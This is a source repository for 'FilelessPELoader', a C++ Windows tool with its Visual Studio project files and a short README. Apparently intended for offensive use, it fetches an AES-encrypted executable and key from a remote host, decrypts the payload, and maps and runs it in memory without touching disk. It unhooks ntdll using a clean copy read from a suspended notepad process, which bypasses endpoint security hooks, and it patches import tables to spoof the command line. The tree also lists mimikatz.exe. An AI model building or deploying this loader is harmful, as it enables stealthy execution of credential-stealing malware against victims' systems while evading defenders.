├── FilelessPELoader ├── FilelessPELoader.cpp ├── FilelessPELoader.sln ├── FilelessPELoader.vcxproj ├── FilelessPELoader.vcxproj.filters └── FilelessPELoader.vcxproj.user ├── README.md ├── aes.py └── mimikatz.exe /FilelessPELoader/FilelessPELoader.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_RAND_S 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 13 | #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) 14 | #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) 15 | 16 | #pragma comment (lib, "crypt32.lib") 17 | #pragma comment(lib, "winhttp") 18 | 19 | #pragma warning (disable: 4996) 20 | #define _CRT_SECURE_NO_WARNINGS 21 | 22 | #pragma comment(lib, "ntdll") 23 | 24 | EXTERN_C NTSTATUS NtOpenSection( 25 | OUT PHANDLE SectionHandle, 26 | IN ACCESS_MASK DesiredAccess, 27 | IN POBJECT_ATTRIBUTES ObjectAttributes 28 | ); 29 | 30 | using MyNtMapViewOfSection = NTSTATUS(NTAPI*)( 31 | HANDLE SectionHandle, 32 | HANDLE ProcessHandle, 33 | PVOID* BaseAddress, 34 | ULONG_PTR ZeroBits, 35 | SIZE_T CommitSize, 36 | PLARGE_INTEGER SectionOffset, 37 | PSIZE_T ViewSize, 38 | DWORD InheritDisposition, 39 | ULONG AllocationType, 40 | ULONG Win32Protect 41 | ); 42 | 43 | 44 | 45 | 46 | typedef struct _BASE_RELOCATION_ENTRY { 47 | WORD Offset : 12; 48 | WORD Type : 4; 49 | } BASE_RELOCATION_ENTRY; 50 | 51 | 52 | 53 | struct DATA { 54 | 55 | LPVOID data; 56 | size_t len; 57 | 58 | }; 59 | 60 | 61 | void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { 62 | HCRYPTPROV hProv; 63 | HCRYPTHASH hHash; 64 | HCRYPTKEY hKey; 65 | 66 | if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { 67 | printf("Failed in CryptAcquireContextW (%u)\n", GetLastError()); 68 | return; 69 | } 70 | if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { 71 | printf("Failed in CryptCreateHash (%u)\n", GetLastError()); 72 | return; 73 | } 74 | if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { 75 | printf("Failed in CryptHashData (%u)\n", GetLastError()); 76 | return; 77 | } 78 | if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { 79 | printf("Failed in CryptDeriveKey (%u)\n", GetLastError()); 80 | return; 81 | } 82 | 83 | if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) { 84 | printf("Failed in CryptDecrypt (%u)\n", GetLastError()); 85 | return; 86 | } 87 | 88 | CryptReleaseContext(hProv, 0); 89 | CryptDestroyHash(hHash); 90 | CryptDestroyKey(hKey); 91 | 92 | } 93 | 94 | 95 | DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) { 96 | 97 | DATA data; 98 | std::vector buffer; 99 | DWORD dwSize = 0; 100 | DWORD dwDownloaded = 0; 101 | LPSTR pszOutBuffer = NULL; 102 | BOOL bResults = FALSE; 103 | HINTERNET hSession = NULL, 104 | hConnect = NULL, 105 | hRequest = NULL; 106 | // Use WinHttpOpen to obtain a session handle. 107 | hSession = WinHttpOpen(L"WinHTTP Example/1.0", 108 | WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 109 | WINHTTP_NO_PROXY_NAME, 110 | WINHTTP_NO_PROXY_BYPASS, 0); 111 | 112 | 113 | // Specify an HTTP server. 114 | if (hSession) 115 | hConnect = WinHttpConnect(hSession, whost, 116 | port, 0); 117 | else 118 | printf("Failed in WinHttpConnect (%u)\n", GetLastError()); 119 | 120 | // Create an HTTP request handle. 121 | if (hConnect) 122 | hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource, 123 | NULL, WINHTTP_NO_REFERER, 124 | WINHTTP_DEFAULT_ACCEPT_TYPES, 125 | NULL); 126 | else 127 | printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError()); 128 | 129 | // Send a request. 130 | if (hRequest) 131 | bResults = WinHttpSendRequest(hRequest, 132 | WINHTTP_NO_ADDITIONAL_HEADERS, 133 | 0, WINHTTP_NO_REQUEST_DATA, 0, 134 | 0, 0); 135 | else 136 | printf("Failed in WinHttpSendRequest (%u)\n", GetLastError()); 137 | 138 | // End the request. 139 | if (bResults) 140 | bResults = WinHttpReceiveResponse(hRequest, NULL); 141 | else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError()); 142 | 143 | // Keep checking for data until there is nothing left. 144 | if (bResults) 145 | do 146 | { 147 | // Check for available data. 148 | dwSize = 0; 149 | if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) 150 | printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError()); 151 | 152 | // Allocate space for the buffer. 153 | pszOutBuffer = new char[dwSize + 1]; 154 | if (!pszOutBuffer) 155 | { 156 | printf("Out of memory\n"); 157 | dwSize = 0; 158 | } 159 | else 160 | { 161 | // Read the Data. 162 | ZeroMemory(pszOutBuffer, dwSize + 1); 163 | 164 | if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, 165 | dwSize, &dwDownloaded)) 166 | printf("Error %u in WinHttpReadData.\n", GetLastError()); 167 | else { 168 | 169 | buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded); 170 | 171 | } 172 | delete[] pszOutBuffer; 173 | } 174 | 175 | } while (dwSize > 0); 176 | 177 | if (buffer.empty() == TRUE) 178 | { 179 | printf("Failed in retrieving the Shellcode"); 180 | } 181 | 182 | // Report any errors. 183 | if (!bResults) 184 | printf("Error %d has occurred.\n", GetLastError()); 185 | 186 | // Close any open handles. 187 | if (hRequest) WinHttpCloseHandle(hRequest); 188 | if (hConnect) WinHttpCloseHandle(hConnect); 189 | if (hSession) WinHttpCloseHandle(hSession); 190 | 191 | size_t size = buffer.size(); 192 | 193 | char* bufdata = (char*)malloc(size); 194 | for (int i = 0; i < buffer.size(); i++) { 195 | bufdata[i] = buffer[i]; 196 | } 197 | data.data = bufdata; 198 | data.len = size; 199 | return data; 200 | 201 | } 202 | 203 | 204 | //cmdline args vars 205 | BOOL hijackCmdline = FALSE; 206 | char* sz_masqCmd_Ansi = NULL; 207 | char* sz_masqCmd_ArgvAnsi[100]; 208 | wchar_t* sz_masqCmd_Widh = NULL; 209 | wchar_t* sz_masqCmd_ArgvWidh[100]; 210 | wchar_t** poi_masqArgvW = NULL; 211 | char** poi_masqArgvA = NULL; 212 | int int_masqCmd_Argc = 0; 213 | struct MemAddrs* pMemAddrs = NULL; 214 | DWORD dwTimeout = 0; 215 | 216 | //PE vars 217 | BYTE* pImageBase = NULL; 218 | IMAGE_NT_HEADERS* ntHeader = NULL; 219 | 220 | 221 | //-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT------------- 222 | 223 | LPWSTR hookGetCommandLineW() 224 | { 225 | //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinew"); 226 | return sz_masqCmd_Widh; 227 | } 228 | 229 | LPSTR hookGetCommandLineA() 230 | { 231 | //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinea"); 232 | return sz_masqCmd_Ansi; 233 | } 234 | 235 | char*** __cdecl hook__p___argv(void) 236 | { 237 | //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argv"); 238 | return &poi_masqArgvA; 239 | } 240 | 241 | wchar_t*** __cdecl hook__p___wargv(void) 242 | { 243 | 244 | //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___wargv"); 245 | return &poi_masqArgvW; 246 | } 247 | 248 | int* __cdecl hook__p___argc(void) 249 | { 250 | //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argc"); 251 | return &int_masqCmd_Argc; 252 | } 253 | 254 | int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless) 255 | { 256 | //BeaconPrintf(CALLBACK_OUTPUT, "called __wgetmainargs"); 257 | *_Argc = int_masqCmd_Argc; 258 | *_Argv = poi_masqArgvW; 259 | 260 | return 0; 261 | } 262 | 263 | int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless) 264 | { 265 | //BeaconPrintf(CALLBACK_OUTPUT, "called __getmainargs"); 266 | *_Argc = int_masqCmd_Argc; 267 | *_Argv = poi_masqArgvA; 268 | 269 | return 0; 270 | } 271 | 272 | _onexit_t __cdecl hook_onexit(_onexit_t function) 273 | { 274 | //BeaconPrintf(CALLBACK_OUTPUT, "called onexit!\n"); 275 | return 0; 276 | } 277 | 278 | int __cdecl hookatexit(void(__cdecl* func)(void)) 279 | { 280 | //BeaconPrintf(CALLBACK_OUTPUT, "called atexit!\n"); 281 | return 0; 282 | } 283 | 284 | int __cdecl hookexit(int status) 285 | { 286 | //BeaconPrintf(CALLBACK_OUTPUT, "Exit called!\n"); 287 | //_cexit() causes cmd.exe to break for reasons unknown... 288 | ExitThread(0); 289 | return 0; 290 | } 291 | 292 | void __stdcall hookExitProcess(UINT statuscode) 293 | { 294 | //BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!\n"); 295 | ExitThread(0); 296 | } 297 | void masqueradeCmdline() 298 | { 299 | //Convert cmdline to widestring 300 | int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0); 301 | sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t)); 302 | MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size); 303 | 304 | //Create widestring array of pointers 305 | poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc); 306 | 307 | //Manual function equivalent for CommandLineToArgvA 308 | int retval; 309 | int memsize = int_masqCmd_Argc * sizeof(LPSTR); 310 | for (int i = 0; i < int_masqCmd_Argc; ++i) 311 | { 312 | retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL); 313 | memsize += retval; 314 | } 315 | 316 | poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize); 317 | 318 | int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR); 319 | LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR); 320 | for (int i = 0; i < int_masqCmd_Argc; ++i) 321 | { 322 | retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL); 323 | poi_masqArgvA[i] = buffer; 324 | buffer += retval; 325 | bufLen -= retval; 326 | } 327 | 328 | hijackCmdline = TRUE; 329 | } 330 | 331 | 332 | //This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array 333 | void freeargvA(char** array, int Argc) 334 | { 335 | //Wipe cmdline args from beacon memory 336 | for (int i = 0; i < Argc; i++) 337 | { 338 | memset(array[i], 0, strlen(array[i])); 339 | } 340 | LocalFree(array); 341 | } 342 | 343 | //This array is returned from CommandLineToArgvW so using LocalFree as per MSDN 344 | void freeargvW(wchar_t** array, int Argc) 345 | { 346 | //Wipe cmdline args from beacon memory 347 | for (int i = 0; i < Argc; i++) 348 | { 349 | memset(array[i], 0, wcslen(array[i]) * 2); 350 | } 351 | LocalFree(array); 352 | } 353 | 354 | 355 | char* GetNTHeaders(char* pe_buffer) 356 | { 357 | if (pe_buffer == NULL) return NULL; 358 | 359 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer; 360 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 361 | return NULL; 362 | } 363 | const LONG kMaxOffset = 1024; 364 | LONG pe_offset = idh->e_lfanew; 365 | if (pe_offset > kMaxOffset) return NULL; 366 | IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset); 367 | if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL; 368 | return (char*)inh; 369 | } 370 | 371 | IMAGE_DATA_DIRECTORY* GetPEDirectory(PVOID pe_buffer, size_t dir_id) 372 | { 373 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 374 | 375 | char* nt_headers = GetNTHeaders((char*)pe_buffer); 376 | if (nt_headers == NULL) return NULL; 377 | 378 | IMAGE_DATA_DIRECTORY* peDir = NULL; 379 | 380 | IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers; 381 | peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]); 382 | 383 | if (peDir->VirtualAddress == NULL) { 384 | return NULL; 385 | } 386 | return peDir; 387 | } 388 | 389 | bool RepairIAT(PVOID modulePtr) 390 | { 391 | IMAGE_DATA_DIRECTORY* importsDir = GetPEDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); 392 | if (importsDir == NULL) return false; 393 | 394 | size_t maxSize = importsDir->Size; 395 | size_t impAddr = importsDir->VirtualAddress; 396 | 397 | IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; 398 | size_t parsedSize = 0; 399 | 400 | for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { 401 | lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); 402 | 403 | if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break; 404 | LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); 405 | 406 | size_t call_via = lib_desc->FirstThunk; 407 | size_t thunk_addr = lib_desc->OriginalFirstThunk; 408 | if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; 409 | 410 | size_t offsetField = 0; 411 | size_t offsetThunk = 0; 412 | while (true) 413 | { 414 | IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via); 415 | IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr); 416 | 417 | if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64) 418 | { 419 | size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF)); 420 | fieldThunk->u1.Function = addr; 421 | } 422 | 423 | if (fieldThunk->u1.Function == NULL) break; 424 | 425 | if (fieldThunk->u1.Function == orginThunk->u1.Function) { 426 | 427 | PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData); 428 | LPSTR func_name = (LPSTR)by_name->Name; 429 | 430 | size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name); 431 | 432 | 433 | if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0) 434 | { 435 | fieldThunk->u1.Function = (size_t)hookGetCommandLineA; 436 | } 437 | else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0) 438 | { 439 | fieldThunk->u1.Function = (size_t)hookGetCommandLineW; 440 | } 441 | else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0) 442 | { 443 | fieldThunk->u1.Function = (size_t)hook__wgetmainargs; 444 | } 445 | else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0) 446 | { 447 | fieldThunk->u1.Function = (size_t)hook__getmainargs; 448 | } 449 | else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0) 450 | { 451 | fieldThunk->u1.Function = (size_t)hook__p___argv; 452 | } 453 | else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0) 454 | { 455 | fieldThunk->u1.Function = (size_t)hook__p___wargv; 456 | } 457 | else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0) 458 | { 459 | fieldThunk->u1.Function = (size_t)hook__p___argc; 460 | } 461 | else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0)) 462 | { 463 | fieldThunk->u1.Function = (size_t)hookexit; 464 | } 465 | else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0) 466 | { 467 | fieldThunk->u1.Function = (size_t)hookExitProcess; 468 | } 469 | else 470 | fieldThunk->u1.Function = addr; 471 | 472 | } 473 | offsetField += sizeof(IMAGE_THUNK_DATA); 474 | offsetThunk += sizeof(IMAGE_THUNK_DATA); 475 | } 476 | } 477 | return true; 478 | } 479 | 480 | void PELoader(char* data, DWORD datasize) 481 | { 482 | 483 | masqueradeCmdline(); 484 | 485 | unsigned int chksum = 0; 486 | for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; }; 487 | 488 | BYTE* pImageBase = NULL; 489 | LPVOID preferAddr = 0; 490 | DWORD OldProtect = 0; 491 | 492 | IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data); 493 | if (!ntHeader) { 494 | exit(0); 495 | } 496 | 497 | IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC); 498 | preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase; 499 | 500 | 501 | HMODULE dll = LoadLibraryA("ntdll.dll"); 502 | ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase); 503 | 504 | pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 505 | if (!pImageBase) { 506 | if (!relocDir) { 507 | exit(0); 508 | } 509 | else { 510 | pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 511 | if (!pImageBase) 512 | { 513 | exit(0); 514 | } 515 | } 516 | } 517 | 518 | // FILL the memory block with PEdata 519 | ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase; 520 | memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders); 521 | 522 | IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS)); 523 | for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) 524 | { 525 | memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData); 526 | } 527 | 528 | // Fix the PE Import addr table 529 | RepairIAT(pImageBase); 530 | 531 | // AddressOfEntryPoint 532 | size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint; 533 | 534 | EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0); 535 | 536 | } 537 | 538 | 539 | 540 | 541 | LPVOID getNtdll() { 542 | 543 | LPVOID pntdll = NULL; 544 | 545 | //Create our suspended process 546 | STARTUPINFOA si; 547 | PROCESS_INFORMATION pi; 548 | ZeroMemory(&si, sizeof(si)); 549 | ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); 550 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); 551 | 552 | if (!pi.hProcess) 553 | { 554 | printf("[-] Error creating process\r\n"); 555 | return NULL; 556 | } 557 | 558 | //Get base address of NTDLL 559 | HANDLE process = GetCurrentProcess(); 560 | MODULEINFO mi; 561 | HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); 562 | GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 563 | 564 | 565 | pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage); 566 | SIZE_T dwRead; 567 | BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead); 568 | if (!bSuccess) { 569 | printf("Failed in reading ntdll (%u)\n", GetLastError()); 570 | return NULL; 571 | } 572 | 573 | 574 | TerminateProcess(pi.hProcess, 0); 575 | return pntdll; 576 | } 577 | 578 | 579 | 580 | 581 | BOOL Unhook(LPVOID cleanNtdll) { 582 | 583 | char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 }; 584 | 585 | HANDLE hNtdll = GetModuleHandleA(nt); 586 | DWORD oldprotect = 0; 587 | PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll; 588 | PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew); 589 | int i; 590 | 591 | 592 | // find .text section 593 | for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { 594 | PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i)); 595 | 596 | char txt[] = { '.','t','e','x','t', 0 }; 597 | 598 | if (!strcmp((char*)sectionHdr->Name, txt)) { 599 | 600 | // prepare ntdll.dll memory region for write permissions. 601 | BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), 602 | sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); 603 | if (!ProtectStatus1) { 604 | printf("Failed to change the protection (%u)\n", GetLastError()); 605 | return FALSE; 606 | } 607 | 608 | // copy .text section from the mapped ntdll to the hooked one 609 | memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); 610 | 611 | 612 | // restore original protection settings of ntdll 613 | BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), 614 | sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); 615 | if (!ProtectStatus2) { 616 | printf("Failed to change the protection back (%u)\n", GetLastError()); 617 | return FALSE; 618 | } 619 | 620 | } 621 | } 622 | 623 | return TRUE; 624 | 625 | } 626 | 627 | 628 | int main(int argc, char** argv) { 629 | 630 | if (argc != 5) { 631 | printf("[+] Usage: %s \n", argv[0]); 632 | return 1; 633 | } 634 | 635 | char* host = argv[1]; 636 | 637 | 638 | DWORD port = atoi(argv[2]); 639 | 640 | 641 | char* pe = argv[3]; 642 | 643 | char* key = argv[4]; 644 | 645 | const size_t cSize1 = strlen(host) + 1; 646 | wchar_t* whost = new wchar_t[cSize1]; 647 | mbstowcs(whost, host, cSize1); 648 | 649 | 650 | const size_t cSize2 = strlen(pe) + 1; 651 | wchar_t* wpe = new wchar_t[cSize2]; 652 | mbstowcs(wpe, pe, cSize2); 653 | 654 | const size_t cSize3 = strlen(key) + 1; 655 | wchar_t* wkey = new wchar_t[cSize3]; 656 | mbstowcs(wkey, key, cSize3); 657 | 658 | 659 | 660 | printf("\n\n[+] Get AES Encrypted PE from %s:%d\n", host, port); 661 | DATA PE = GetData(whost, port, wpe); 662 | if (!PE.data) { 663 | printf("[-] Failed in getting AES Encrypted PE\n"); 664 | return -1; 665 | } 666 | 667 | printf("\n[+] Get AES Key from %s:%d\n", host, port); 668 | DATA keyData = GetData(whost, port, wkey); 669 | if (!keyData.data) { 670 | printf("[-] Failed in getting key\n"); 671 | return -2; 672 | } 673 | printf("\n[+] AES PE Address : %p\n", PE.data); 674 | printf("\n[+] AES Key Address : %p\n", keyData.data); 675 | 676 | printf("\n[+] Decrypt the PE \n"); 677 | DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len); 678 | printf("\n[+] PE Decrypted\n"); 679 | 680 | // Fixing command line 681 | sz_masqCmd_Ansi = (char*)"whatEver"; 682 | 683 | printf("\n[+] Loading and Running PE\n"); 684 | PELoader((char*)PE.data, PE.len); 685 | 686 | printf("\n[+] Finished\n"); 687 | 688 | 689 | return 0; 690 | } -------------------------------------------------------------------------------- /FilelessPELoader/FilelessPELoader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32106.194 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FilelessPELoader", "FilelessPELoader.vcxproj", "{82277B35-D159-4B44-8D54-FB66EDD58D5C}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x64.ActiveCfg = Debug|x64 17 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x64.Build.0 = Debug|x64 18 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x86.ActiveCfg = Debug|Win32 19 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x86.Build.0 = Debug|Win32 20 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x64.ActiveCfg = Release|x64 21 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x64.Build.0 = Release|x64 22 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x86.ActiveCfg = Release|Win32 23 | {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {9161B8CD-FAF4-43AC-9884-6995AB00EFB0} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /FilelessPELoader/FilelessPELoader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {82277b35-d159-4b44-8d54-fb66edd58d5c} 25 | FilelessPELoader 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /FilelessPELoader/FilelessPELoader.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /FilelessPELoader/FilelessPELoader.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FilelessPELoader 2 | 3 | Loading Remote AES Encrypted PE in memory , Decrypted it and run it 4 | 5 | 6 | ### Usage : 7 | ![CipherKey](https://raw.githubusercontent.com/illegal-instruction-co/FilelessPELoader/main/assets/1.png) 8 | 9 | 